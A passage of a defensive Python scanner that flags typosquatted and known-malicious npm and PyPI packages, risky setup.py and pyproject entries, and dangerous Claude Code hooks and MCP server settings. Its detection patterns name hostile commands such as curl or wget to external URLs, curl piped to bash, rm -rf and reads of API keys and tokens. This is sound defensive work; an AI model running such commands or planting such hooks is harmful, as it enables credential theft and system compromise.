                    report_text += f"  {Colors.BLUE}[{issue.rule_id}]{Colors.RESET} {issue.description}\n"

        # Output to file or console
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as f:
                f.write(report_text)
            print(f"Report saved to: {output_file}")

        return report_text

    def run(self, path: str = '.', output_format: str = 'text',
            output_file: Optional[str] = None, ci_mode: bool = False) -> int:
        """Execute scan"""
        self.start_time = time.time()

        # Scan
        self.scan_directory(path)

        # Generate report
        report = self.generate_report(output_format, output_file)
        print(f"\n{report}")

        # Calculate elapsed time
        elapsed = time.time() - self.start_time
        print(f"Scan completed in {elapsed:.2f}s")

        # Return exit code in CI mode
        if ci_mode:
            if any(i.severity == 'CRITICAL' for i in self.issues):
                return 2
            elif self.issues:
                return 1
        return 0 if not self.issues else 1


def main():
    """Main function"""
    # Detect Windows environment
    if sys.platform == 'win32':
        # Windows 10+ supports ANSI colors, but needs checking
        os.system('')  # Enable ANSI
        # If colors display incorrectly, uncomment the following line
        # Colors.disable()

    parser = argparse.ArgumentParser(
        description='AI Security Scanner - Detect malicious hooks and supply chain attacks',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python ai_scanner.py                      # Scan current directory
  python ai_scanner.py -d /path/to/project  # Scan specific directory
  python ai_scanner.py --watch              # Continuous monitoring
  python ai_scanner.py --ci                 # CI/CD mode (exit codes)
  python ai_scanner.py -f json -o report.json  # JSON report
        """
    )

    parser.add_argument('-d', '--directory', default='.',
                        help='Directory to scan (default: current directory)')
    parser.add_argument('-f', '--format', choices=['text', 'json', 'markdown'],
                        default='text', help='Output format')
    parser.add_argument('-o', '--output', help='Output file path')
    parser.add_argument('-w', '--watch', action='store_true',
                        help='Watch mode (continuous monitoring)')
    parser.add_argument('-i', '--interval', type=int, default=60,
                        help='Watch mode interval in seconds (default: 60)')
    parser.add_argument('--ci', action='store_true',
                        help='CI/CD mode (return exit codes)')
    parser.add_argument('--exclude', nargs='+', default=[],
                        help='Patterns to exclude')

    args = parser.parse_args()

    # Config
    config = {}
    if args.exclude:
        config['exclude_patterns'] = args.exclude

    scanner = AISecurityScanner(config)

    if args.watch:
        print(f"Watch mode enabled (interval: {args.interval}s)")
        print(f"Press Ctrl+C to stop\n")
        try:
            while True:
                os.system('cls' if os.name == 'nt' else 'clear')
                scanner = AISecurityScanner(config)
                scanner.run(args.directory, args.format, args.output)
                time.sleep(args.interval)
        except KeyboardInterrupt:
            print(f"\nWatch mode stopped")
            return 0
    else:
        return scanner.run(args.directory, args.format, args.output, args.ci)


if __name__ == '__main__':
    sys.exit(main())


path: auto_scanner.py
content: #!/usr/bin/env python3
"""
AI Security Scanner - Auto Detection Module
Auto-detect project type, dependency risks, and file changes
"""

import os
import json
import re
from pathlib import Path
from typing import Dict, List, Optional, Any, Set
import hashlib


class ProjectDetector:
    """Project type detector"""

    PROJECT_SIGNATURES = {
        'npm': ['package.json'],  # Only detect root-level package.json
        'python': ['requirements.txt', 'setup.py', 'pyproject.toml', 'Pipfile'],
        'rust': ['Cargo.toml', 'Cargo.lock'],
        'go': ['go.mod', 'go.sum'],
        'java': ['pom.xml', 'build.gradle', 'build.gradle.kts'],
        'ruby': ['Gemfile', 'Gemfile.lock'],
        'php': ['composer.json', 'composer.lock'],
        'dotnet': ['*.csproj', '*.sln'],
    }

    def detect_project_type(self, path: Path) -> List[str]:
        """Detect project type"""
        types = []

        for proj_type, signatures in self.PROJECT_SIGNATURES.items():
            for sig in signatures:
                if '*' in sig:
                    if list(path.glob(sig)):
                        types.append(proj_type)
                        break
                elif (path / sig).exists():
                    types.append(proj_type)
                    break

        return types

    def find_project_roots(self, start_path: Path, max_depth: int = 3) -> List[Path]:
        """Find all project root directories starting from the given path"""
        project_roots = []

        # Excluded directories
        exclude_dirs = {'node_modules', '.git', 'dist', 'build', '__pycache__', 'venv', '.venv', 'vendor', '.venv'}

        def scan_directory(path: Path, depth: int):
            if depth > max_depth:
                return

            try:
                # Check if current directory is a project root
                if self.detect_project_type(path):
                    project_roots.append(path)
                    return  # Stop recursing once a project is found

                # Scan subdirectories
                for child in path.iterdir():
                    if child.is_dir() and not child.name.startswith('.') and child.name not in exclude_dirs:
                        scan_directory(child, depth + 1)
            except PermissionError:
                pass

        scan_directory(start_path, 0)
        return list(set(project_roots))


class DependencyChecker:
    """Dependency package security checker"""

    # Common package typo variants (typosquatting detection)
    # Note: Only detect top-level dependency names, ignore sub-modules inside node_modules
    # Note: Exclude official sub-packages (e.g., react-dom is an official React package)
    TYPOSQUATTING_MAP = {
        # === Web common packages ===
        'requests': ['reqeusts', 'requets', 'requsets', 'reqests', 'request'],
        'flask': ['flaask', 'flsak', 'flaskk'],
        'django': ['djanog', 'djnago', 'djangoo', 'djano'],
        'numpy': ['numpyy', 'numpi', 'numy', 'numppy'],
        'pandas': ['pandass', 'pandad', 'panads', 'pandsa'],
        'lodash': ['lodahs', 'ladash', 'lodashjs', 'lodasg'],
        'express': ['expres', 'expresss', 'expresjs', 'exress'],
        'axios': ['axois', 'aixos', 'axious', 'axio', 'axxios'],
        'colors': ['colorr', 'colorss', 'colorsjs'],
        'webpack': ['webpaack', 'webpk', 'webpackk', 'webpck'],
        'colorama': ['colourama', 'collorama', 'coloramma', 'colorma'],
        'beautifulsoup4': ['beautifulsoup', 'beutifulsoup4', 'beautfulssoup4'],
        'urllib3': ['urlib3', 'urlllib3', 'urllib33'],
        'cryptography': ['cyptography', 'crytography', 'cryptograpy'],
        'pyyaml': ['pyaml', 'pyymal', 'pyyamll'],
        'pillow': ['pilllow', 'pilow', 'pilliow'],
        'setuptools': ['setuptool', 'setuptoools', 'setuptoolss'],
        # === AI/ML ecosystem packages (high-value targets: hold API keys) ===
        'openai': ['opeanai', 'open-ai', 'openi', 'openaii', 'openaai', 'opeani'],
        'anthropic': ['antrhopic', 'anthrpic', 'anthropicc', 'anthopic', 'antropic'],
        'litellm': ['litelm', 'lite-llm', 'litelllm', 'litellmm', 'liteelm', 'littelm'],
        'langchain': ['langcain', 'lang-chain', 'langchian', 'langchainn', 'langchan'],
        'langchain-core': ['langchain_core', 'langcain-core', 'langchain-cor'],
        'langchain-community': ['langchain-comunity', 'langchan-community'],
        'llama-index': ['llamaindex', 'llamaindx', 'llama-indx', 'llama-idnex'],
        'transformers': ['tranformers', 'trannsformers', 'trasformers', 'transfomers'],
        'huggingface-hub': ['hugginface-hub', 'huggingfce-hub', 'huggingface_hub'],
        'torch': ['torcch', 'pytorh', 'torh', 'torrch'],
        'tensorflow': ['tensoflow', 'tensorfow', 'tensorflw', 'tensoflw'],
        'chromadb': ['chroma-db', 'chromdb', 'cromadb', 'chromaddb'],
        'pinecone-client': ['pincone-client', 'pinecone-clent', 'pinecone-cllient'],
        'cohere': ['cohre', 'coheree', 'coher', 'coheer'],
        'replicate': ['replicat', 'replicte', 'replicatte'],
        'tiktoken': ['tiktokem', 'tiktokn', 'tiktokken'],
        'sentence-transformers': ['sentance-transformers', 'sentence-tranformers'],
        'faiss-cpu': ['fais-cpu', 'faiss-cp', 'faiis-cpu'],
        'vllm': ['vlllm', 'vllmm', 'vlm'],
        'guidance': ['guidanc', 'guidannce', 'guidence'],
        'instructor': ['instuctor', 'instructorr', 'instrucor'],
        # === npm AI ecosystem ===
        '@anthropic-ai/sdk': ['@anthropic/sdk', '@anthropic-ai/skd'],
        '@langchain/core': ['@langchain/cor', '@langchan/core'],
        'openai': ['opeanai', 'open-ai', 'openaii'],
    }

    # Known malicious package list (with version ranges)
    # Packages that have caused security incidents in npm + PyPI ecosystems
    MALICIOUS_PACKAGES = {
        # ===== npm ecosystem =====
        'event-stream': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'In 2018, cryptocurrency theft code was injected via flatmap-stream',
            'damage': 'Steals Bitcoin wallet private keys',
            'remediation': 'Delete immediately and audit the system',
            'affected_versions': '<3.3.4'  # All versions affected
        },
        'flatmap-stream': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': '2018 event-stream incident malicious dependency',
            'damage': 'Injects cryptocurrency mining code',
            'remediation': 'Delete immediately',
            'affected_versions': '<0.1.3'
        },
        'crossenv': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'Impersonates cross-env, steals environment variable credentials',
            'damage': 'Steals AWS, database, and other credentials',
            'remediation': 'Replace with cross-env, rotate all credentials',
            'affected_versions': 'all versions'
        },
        'ua-parser-js': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'Malicious password-stealing code was injected in 2021',
            'damage': 'Steals user passwords and browser data',
            'remediation': 'Upgrade to v0.7.30+ or v1.0.1+',
            'affected_versions': '0.7.29, 0.8.0, 1.0.0'  # Only these three versions
        },
        'coa': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'Hijacked in 2021, malicious version steals credentials',
            'damage': 'Steals system credentials',
            'remediation': 'Downgrade to safe version',
            'affected_versions': '>=2.0.0'  # Only v2.x is malicious
        },
        'rc': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'Hijacked in 2021, same incident as coa',
            'damage': 'Steals system credentials',
            'remediation': 'Downgrade to safe version',
            'affected_versions': '>=1.3.0'  # Only v1.3+ is malicious
        },
        'colors': {
            'type': 'vandalism',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'Deliberately sabotaged by author in January 2022',
            'damage': 'Damages production environment, DoS',
            'remediation': 'Pin to v1.4.0 or use alternative packages picocolors/chalk',
            'affected_versions': '>=1.4.0'  # Only v1.4.0+ is malicious
        },
        'faker': {
            'type': 'vandalism',
            'severity': 'WARNING',
            'ecosystem': 'npm',
            'reason': 'Deliberately sabotaged by author in 2022',
            'damage': 'Outputs garbled text',
            'remediation': 'Use @faker-js/faker as alternative'
        },
        'node-ipc': {
            'type': 'vandalism',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': 'March 2022 protestware, deletes files in specific regions',
            'damage': 'Overwrites/deletes user files',
            'remediation': 'Downgrade to v9.2.1 or earlier safe version'
        },
        'lofygang': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'npm',
            'reason': '2022 Discord token stealing malicious package family',
            'damage': 'Steals Discord tokens and browser credentials',
            'remediation': 'Delete immediately and rotate Discord tokens'
        },
        # ===== PyPI ecosystem (ecosystem uses 'python', consistent with ProjectDetector naming) =====
        'colourama': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Typosquatting package for colorama, steals credentials',
            'damage': 'Steals system credentials and environment variables',
            'remediation': 'Replace with colorama, rotate credentials'
        },
        'python3-dateutil': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Typosquatting package for python-dateutil, installs backdoor',
            'damage': 'Remote code execution',
            'remediation': 'Replace with python-dateutil'
        },
        'jeIlyfish': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Unicode confusion package for jellyfish (I vs l), steals SSH keys',
            'damage': 'Steals SSH keys and GPG keys',
            'remediation': 'Replace with jellyfish, rotate SSH keys'
        },
        'python-binance': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Impersonates Binance SDK, steals cryptocurrency private keys',
            'damage': 'Steals cryptocurrency assets',
            'remediation': 'Use official binance-connector-python'
        },
        'ctx': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Hijacked in May 2022, new versions steal environment variables',
            'damage': 'Steals AWS credentials and environment variables',
            'remediation': 'Delete immediately and rotate all credentials'
        },
        'phpass': {
            'type': 'supply_chain',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Hijacked in 2022, steals environment variables',
            'damage': 'Steals credentials',
            'remediation': 'Delete immediately'
        },
        # ===== AI/ML ecosystem - special attention =====
        'openai-api': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Impersonates official OpenAI package, steals API keys',
            'damage': 'Steals OpenAI API keys, causing financial losses',
            'remediation': 'Use official openai package'
        },
        'opeanai': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Typosquatting package impersonating openai',
            'damage': 'Steals OpenAI API keys',
            'remediation': 'Replace with openai'
        },
        'anthropic-sdk': {
            'type': 'typosquatting',
            'severity': 'CRITICAL',
            'ecosystem': 'python',
            'reason': 'Impersonates official Anthropic package',
            'damage': 'Steals Anthropic API keys',
            'remediation': 'Use official anthropic package'
        },
        'langchain-core-experimental': {
            'type': 'typosquatting',
            'severity': 'WARNING',
            'ecosystem': 'python',
            'reason': 'Impersonates official LangChain experimental package',
            'damage': 'May steal LLM API keys',
            'remediation': 'Verify it is published by the langchain-ai organization'
        },
    }

    def __init__(self):
        self.issues = []

    def check_npm_dependencies(self, package_json_path: Path) -> List[Dict]:
        """Check npm dependencies

        Strategy:
        - Top-level package.json: detect typosquatting + known malicious packages
        - package.json in node_modules: only detect known malicious packages
        """
        issues = []
        path_str = str(package_json_path)
        is_in_node_modules = 'node_modules' in path_str

        # Determine if this is a top-level project package.json
        # Top-level: directly in project root, or under node_modules/.package-lock-npm/ (indicates top-level dependency)
        parts = Path(path_str).parts
        is_top_level = (
            len(parts) >= 2 and parts[-2] == 'node_modules' and
            parts[-1] == 'package.json'
        )

        try:
            with open(package_json_path, 'r', encoding='utf-8-sig') as f:
                data = json.load(f)

            all_deps = {}
            all_deps.update(data.get('dependencies', {}))
            all_deps.update(data.get('devDependencies', {}))

            # Get package name
            pkg_name = data.get('name', '')

            # If package.json is in node_modules, extract package name
            if is_in_node_modules and not pkg_name:
                # Extract package name from path: .../node_modules/<package-name>/package.json
                try:
                    node_modules_idx = parts.index('node_modules')
                    if node_modules_idx >= 0 and len(parts) > node_modules_idx + 1:
                        pkg_name = parts[node_modules_idx + 1]
                except (ValueError, IndexError):
                    pkg_name = ''

            all_deps = {}
            all_deps.update(data.get('dependencies', {}))
            all_deps.update(data.get('devDependencies', {}))

            for dep_name, version in all_deps.items():
                # Top-level package.json: detect typosquatting
                if not is_in_node_modules:
                    self._check_typosquatting(dep_name, 'npm', package_json_path, issues)

                # All levels: detect known malicious packages
                if dep_name in self.MALICIOUS_PACKAGES:
                    mal_info = self.MALICIOUS_PACKAGES[dep_name]
                    issues.append({
                        'type': mal_info.get('type', 'malicious_package'),
                        'severity': mal_info.get('severity', 'CRITICAL'),
                        'package': dep_name,
                        'version': version,
                        'file': str(package_json_path),
                        'reason': mal_info.get('reason', ''),
                        'damage': mal_info.get('damage', ''),
                        'remediation': mal_info.get('remediation', 'Delete immediately and audit'),
                        'message': f'Malicious package: {dep_name} - {mal_info.get("reason", "")}'
                    })

            # Check scripts (only in top-level package.json)
            if not is_in_node_modules:
                scripts = data.get('scripts', {})
                for script_name, script_cmd in scripts.items():
                    if script_name in ['postinstall', 'preinstall', 'prepare']:
                        script_cmd_lower = script_cmd.lower()
                        if any(kw in script_cmd_lower for kw in ['curl', 'wget', 'bash', 'rm -rf', 'del ', 'powershell']):
                            issues.append({
                                'type': 'suspicious_script',
                                'severity': 'CRITICAL',
                                'package': data.get('name', 'unknown'),
                                'script': script_name,
                                'command': script_cmd,
                                'file': str(package_json_path),
                                'message': f'{script_name} script contains suspicious command: {script_cmd[:50]}',
                                'remediation': 'Review script content and remove suspicious commands'
                            })

        except (json.JSONDecodeError, FileNotFoundError) as e:
            pass

        return issues

    def check_python_dependencies(self, requirements_path: Path) -> List[Dict]:
        """Check Python dependencies"""
        issues = []

        try:
            with open(requirements_path, 'r', encoding='utf-8') as f:
                lines = f.readlines()

            for line in lines:
                line = line.strip()
                if not line or line.startswith('#'):
                    continue

                # Parse package name
                match = re.match(r'^([a-zA-Z0-9_-]+)', line)
                if match:
                    pkg_name = match.group(1)
                    self._check_typosquatting(pkg_name, 'python', requirements_path, issues)

        except FileNotFoundError:
            pass

        return issues

    def check_cargo_dependencies(self, cargo_toml_path: Path) -> List[Dict]:
        """Check Rust dependencies"""
        issues = []

        try:
            with open(cargo_toml_path, 'r', encoding='utf-8') as f:
                content = f.read()

            in_deps = False
            for line in content.split('\n'):
                stripped = line.strip()
                if stripped.startswith('['):
                    in_deps = 'dependencies' in stripped.lower()
                    continue
                if not in_deps or not stripped or stripped.startswith('#'):
                    continue
                if '=' in stripped:
                    parts = stripped.split('=', 1)
                    pkg_name = parts[0].strip()
                    version_part = parts[1].strip().strip('"\'')
                    # Check if version constraint exists (starts with digit = has version)
                    has_version = bool(re.search(r'\d', version_part))
                    if not has_version:
                        issues.append({
                            'type': 'unpinned_dependency',
                            'severity': 'WARNING',
                            'package': pkg_name,
                            'file': str(cargo_toml_path),
                            'message': f'Rust package {pkg_name} has no version constraint',
                            'remediation': 'Add version constraint (e.g., "1.0")'
                        })
                    # Check git dependencies (Cargo supports git = "url" format)
                    if 'git' in version_part and 'http' in version_part:
                        issues.append({
                            'type': 'git_dependency',
                            'severity': 'WARNING',
                            'package': pkg_name,
                            'file': str(cargo_toml_path),
                            'message': f'Rust dependency {pkg_name} installed via git URL',
                            'remediation': 'Verify git URL is official repository'
                        })

        except FileNotFoundError:
            pass

        return issues

    def _check_typosquatting(self, pkg_name: str, pkg_type: str, file_path: Path, issues: List):
        """Check for typosquatting attack"""
        pkg_name_lower = pkg_name.lower()

        for safe_pkg, typos in self.TYPOSQUATTING_MAP.items():
            if pkg_name_lower in typos:
                issues.append({
                    'type': 'typosquatting',
                    'severity': 'CRITICAL',
                    'package': pkg_name,
                    'should_be': safe_pkg,
                    'ecosystem': pkg_type,
                    'file': str(file_path),
                    'message': f'Possible typosquatting attack: {pkg_name} should be {safe_pkg}',
                    'remediation': f'Replace with {safe_pkg}, and rotate related API keys/credentials'
                })

        # Check known malicious packages
        if pkg_name_lower in self.MALICIOUS_PACKAGES:
            mal_info = self.MALICIOUS_PACKAGES[pkg_name_lower]
            # Cross-ecosystem matching
            mal_ecosystem = mal_info.get('ecosystem', '')
            if not mal_ecosystem or mal_ecosystem == pkg_type:
                issues.append({
                    'type': mal_info.get('type', 'malicious_package'),
                    'severity': mal_info.get('severity', 'CRITICAL'),
                    'package': pkg_name,
                    'ecosystem': pkg_type,
                    'file': str(file_path),
                    'reason': mal_info.get('reason', ''),
                    'damage': mal_info.get('damage', ''),
                    'message': f'Known malicious package: {pkg_name} - {mal_info.get("reason", "")}',
                    'remediation': mal_info.get('remediation', 'Delete immediately and audit')
                })

    def check_python_supply_chain(self, requirements_path: Path) -> List[Dict]:
        """Deep detection of supply chain risks in Python dependencies

        Detects: git URL dependencies, unofficial indexes, unlocked versions, suspicious package names
        """
        issues = []

        try:
            with open(requirements_path, 'r', encoding='utf-8') as f:
                lines = f.readlines()

            for line_num, raw_line in enumerate(lines, 1):
                line = raw_line.strip()
                if not line or line.startswith('#'):
                    continue

                # 1. Detect git URL dependencies
                if re.search(r'git\+https?://', line):
                    issues.append({
                        'type': 'git_url_dependency',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(requirements_path),
                        'line': line_num,
                        'content': line[:200],
                        'message': f'Python dependency installed via git URL: {line[:80]}',
                        'remediation': 'Verify git URL is official repository, use pinned PyPI version instead'
                    })

                # 2. Detect unofficial indexes
                if re.search(r'--?(?:index-url|extra-index-url)\s+', line):
                    url_match = re.search(r'https?://\S+', line)
                    url = url_match.group(0) if url_match else ''
                    if url and 'pypi.org' not in url and 'pythonhosted.org' not in url:
                        issues.append({
                            'type': 'dependency_confusion',
                            'severity': 'CRITICAL',
                            'category': 'supply_chain',
                            'file': str(requirements_path),
                            'line': line_num,
                            'content': line[:200],
                            'message': f'Using unofficial PyPI index: {url[:80]}',
                            'remediation': 'Confirm index URL is trusted, or use official PyPI source'
                        })

                # 3. Detect unlocked versions
                pkg_match = re.match(r'^([a-zA-Z0-9_.-]+)\s*(>=|>|~=|!=)', line)
                if pkg_match:
                    pkg_name = pkg_match.group(1)
                    operator = pkg_match.group(2)
                    if operator in ('>=', '>', '~='):
                        issues.append({
                            'type': 'unpinned_dependency',
                            'severity': 'WARNING',
                            'category': 'supply_chain',
                            'package': pkg_name,
                            'file': str(requirements_path),
                            'line': line_num,
                            'message': f'Dependency {pkg_name} uses {operator} unpinned version, susceptible to version hijacking',
                            'remediation': f'Use == to pin to exact version, together with lock file'
                        })

                # 4. Detect packages without version constraints
                bare_match = re.match(r'^([a-zA-Z0-9_.-]+)\s*$', line)
                if bare_match:
                    pkg_name = bare_match.group(1)
                    issues.append({
                        'type': 'unpinned_dependency',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'file': str(requirements_path),
                        'line': line_num,
                        'message': f'Dependency {pkg_name} has no version constraint, can be replaced by any version',
                        'remediation': 'Add == version pin'
                    })

                # 5. Detect direct URL installation
                if re.match(r'^https?://', line):
                    issues.append({
                        'type': 'url_dependency',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(requirements_path),
                        'line': line_num,
                        'content': line[:200],
                        'message': f'Installing package directly from URL: {line[:80]}',
                        'remediation': 'Use official PyPI package instead'
                    })

        except FileNotFoundError:
            pass

        return issues

    def check_setup_py(self, setup_py_path: Path) -> List[Dict]:
        """Detect supply chain attack vectors in setup.py"""
        issues = []

        try:
            with open(setup_py_path, 'r', encoding='utf-8', errors='ignore') as f:
                content = f.read()
                lines = content.split('\n')

            for line_num, line in enumerate(lines, 1):
                # 1. Custom cmdclass (can execute arbitrary code during installation)
                if re.search(r'cmdclass\s*[=:]\s*\{', line):
                    issues.append({
                        'type': 'setup_hook',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'file': str(setup_py_path),
                        'line': line_num,
                        'message': 'setup.py uses cmdclass to customize install commands',
                        'remediation': 'Review cmdclass implementation, confirm no malicious code'
                    })

                # 2. Direct calls to os/subprocess
                if re.search(r'(?:os\.system|subprocess\.(?:call|run|Popen|check_output))\s*\(', line):
                    issues.append({
                        'type': 'setup_exec',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(setup_py_path),
                        'line': line_num,
                        'content': line.strip()[:200],
                        'message': f'setup.py executes system command: {line.strip()[:80]}',
                        'remediation': 'Review command content, confirm no malicious behavior'
                    })

                # 3. Network requests (downloading additional code)
                if re.search(r'(?:urllib|requests|http\.client|urlopen|urlretrieve)\s*[\.(]', line):
                    issues.append({
                        'type': 'setup_network',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(setup_py_path),
                        'line': line_num,
                        'message': 'setup.py contains network request, may download malicious code',
                        'remediation': 'Review network request URL and purpose'
                    })

                # 4. exec/eval (dynamic code execution)
                if re.search(r'(?:exec|eval|compile)\s*\(', line):
                    issues.append({
                        'type': 'setup_dynamic_exec',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'file': str(setup_py_path),
                        'line': line_num,
                        'message': 'setup.py uses dynamic code execution',
                        'remediation': 'Review executed code content'
                    })

            # 5. Multi-line detection: __import__ obfuscation
            if re.search(r'__import__\s*\(\s*[\'"](?:os|subprocess|socket|http)', content):
                issues.append({
                    'type': 'setup_obfuscation',
                    'severity': 'CRITICAL',
                    'category': 'supply_chain',
                    'file': str(setup_py_path),
                    'message': 'setup.py uses __import__ to dynamically import sensitive modules',
                    'remediation': 'Highly suspicious, review immediately'
                })

        except FileNotFoundError:
            pass

        return issues

    def check_pyproject_toml(self, pyproject_path: Path) -> List[Dict]:
        """Detect supply chain risks in pyproject.toml"""
        issues = []

        try:
            with open(pyproject_path, 'r', encoding='utf-8') as f:
                content = f.read()

            # Detect non-standard build backend
            build_backend_match = re.search(r'build-backend\s*=\s*["\']([^"\']+)', content)
            if build_backend_match:
                backend = build_backend_match.group(1)
                known_backends = [
                    'setuptools.build_meta', 'flit_core.buildapi', 'flit.buildapi',
                    'poetry.core.masonry.api', 'hatchling.build', 'maturin',
                    'pdm.backend', 'mesonpy', 'scikit_build_core.build',
                ]
                if backend not in known_backends:
                    issues.append({
                        'type': 'unusual_build_backend',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'file': str(pyproject_path),
                        'build_backend': backend,
                        'message': f'Using non-standard build backend: {backend}',
                        'remediation': 'Verify build backend is a trusted package'
                    })

            # Detect suspicious entry points in scripts/entry_points
            if re.search(r'\[(?:project\.)?scripts\]', content):
                script_section = re.search(
                    r'\[(?:project\.)?scripts\](.*?)(?:\[|$)',
                    content, re.DOTALL
                )
                if script_section:
                    for line in script_section.group(1).split('\n'):
                        if re.search(r'(?:os|subprocess|socket|http)', line):
                            issues.append({
                                'type': 'suspicious_entrypoint',
                                'severity': 'WARNING',
                                'category': 'supply_chain',
                                'file': str(pyproject_path),
                                'message': f'Entry point references sensitive module: {line.strip()[:80]}',
                                'remediation': 'Review code pointed to by entry point'
                            })

        except FileNotFoundError:
            pass

        return issues

    def _extract_hook_commands(self, hook_list: list) -> List[str]:
        """Recursively extract all command strings from hooks configuration.

        Handles two Claude Code formats:
        - Format A: [{"type": "command", "command": "..."}]
        - Format B: [{"matcher": "...", "hooks": [{"type": "command", "command": "..."}]}]
        """
        commands = []
        for item in hook_list:
            if not isinstance(item, dict):
                continue
            # Direct command field
            if 'command' in item and isinstance(item['command'], str):
                commands.append(item['command'])
            # Nested hooks array (Format B)
            nested = item.get('hooks', [])
            if isinstance(nested, list):
                commands.extend(self._extract_hook_commands(nested))
        return commands

    def check_claude_settings(self, settings_path: Path) -> List[Dict]:
        """Detect security risks in Claude Code settings.json

        Focus: hooks configuration, MCP servers, permission settings
        """
        issues = []

        try:
            with open(settings_path, 'r', encoding='utf-8-sig') as f:
                data = json.load(f)

            # 1. Check hooks configuration
            # Claude Code hooks have two formats:
            # Format A (old): {"hooks": {"PreToolUse": [{"type":"command","command":"..."}]}}
            # Format B (new): {"hooks": {"PreToolUse": [{"matcher":"Bash","hooks":[{"type":"command","command":"..."}]}]}}
            hooks = data.get('hooks', {})
            if isinstance(hooks, dict):
                for hook_name, hook_config in hooks.items():
                    # Normalize to list
                    if isinstance(hook_config, dict):
                        hook_list = [hook_config]
                    elif isinstance(hook_config, list):
                        hook_list = hook_config
                    else:
                        continue

                    # Recursively extract all command strings, handle nested format
                    all_commands = self._extract_hook_commands(hook_list)

                    for cmd in all_commands:
                        # Detect external URL calls
                        if re.search(r'(?:curl|wget|nc|fetch)\s+.*https?://', cmd):
                            issues.append({
                                'type': 'hook_exfiltration',
                                'severity': 'CRITICAL',
                                'category': 'claude_hooks',
                                'file': str(settings_path),
                                'hook': hook_name,
                                'command': cmd[:200],
                                'message': f'Hook "{hook_name}" calls external URL: {cmd[:80]}',
                                'remediation': 'Remove external network calls, hooks should not connect to external servers'
                            })

                        # Detect environment variable theft
                        if re.search(r'\$(?:ENV|API.?KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|AWS|OPENAI|ANTHROPIC)', cmd, re.IGNORECASE):
                            issues.append({
                                'type': 'hook_credential_theft',
                                'severity': 'CRITICAL',
                                'category': 'claude_hooks',
                                'file': str(settings_path),
                                'hook': hook_name,
                                'command': cmd[:200],
                                'message': f'Hook "{hook_name}" references sensitive environment variables',
                                'remediation': 'Remove references to sensitive environment variables'
                            })

                        # Detect dangerous commands
                        if re.search(r'(?:rm\s+-rf|curl.*\|.*(?:bash|sh)|eval|exec|base64.*decode)', cmd):
                            issues.append({
                                'type': 'hook_dangerous_command',
                                'severity': 'CRITICAL',
                                'category': 'claude_hooks',
                                'file': str(settings_path),
                                'hook': hook_name,
                                'command': cmd[:200],
                                'message': f'Hook "{hook_name}" contains dangerous command: {cmd[:80]}',
                                'remediation': 'Review and remove dangerous commands'
                            })

            # 2. Check MCP server configuration
            mcp_servers = data.get('mcpServers', {})
            if isinstance(mcp_servers, dict):
                for server_name, server_config in mcp_servers.items():
                    if not isinstance(server_config, dict):
                        continue

                    # Detect external URLs
                    url = server_config.get('url', '')
                    if url and re.search(r'https?://', url):
                        if not re.search(r'(?:localhost|127\.0\.0\.1|::1)', url):
                            issues.append({
                                'type': 'mcp_external_server',
                                'severity': 'WARNING',
                                'category': 'mcp_server',
                                'file': str(settings_path),
                                'server': server_name,
                                'url': url[:200],
                                'message': f'MCP server "{server_name}" connects to external address: {url[:80]}',
                                'remediation': 'Verify MCP server is trusted, confirm it will not leak code/credentials'
                            })

                    # Detect suspicious operations in command
                    cmd = server_config.get('command', '')
                    args = server_config.get('args', [])
                    full_cmd = f'{cmd} {" ".join(str(a) for a in args)}' if args else cmd

                    if re.search(r'(?:curl|wget|nc|bash\s+-c)', full_cmd):
                        issues.append({
                            'type': 'mcp_suspicious_command',
                            'severity': 'CRITICAL',
                            'category': 'mcp_server',
                            'file': str(settings_path),
                            'server': server_name,
                            'command': full_cmd[:200],
                            'message': f'MCP server "{server_name}" executes suspicious command: {full_cmd[:80]}',
                            'remediation': 'Review MCP server command'
                        })

                    # Detect environment variable pass-through
                    env = server_config.get('env', {})
                    if isinstance(env, dict):
                        for env_key, env_val in env.items():
                            if re.search(r'(?:API.?KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)', env_key, re.IGNORECASE):
                                issues.append({
                                    'type': 'mcp_credential_exposure',
                                    'severity': 'WARNING',
                                    'category': 'mcp_server',
                                    'file': str(settings_path),
                                    'server': server_name,
                                    'env_key': env_key,
                                    'message': f'MCP server "{server_name}" passes through sensitive environment variable {env_key}',
                                    'remediation': 'Confirm MCP server is trusted before passing credentials'
                                })

            # 3. Check dangerous allowedTools / permissions
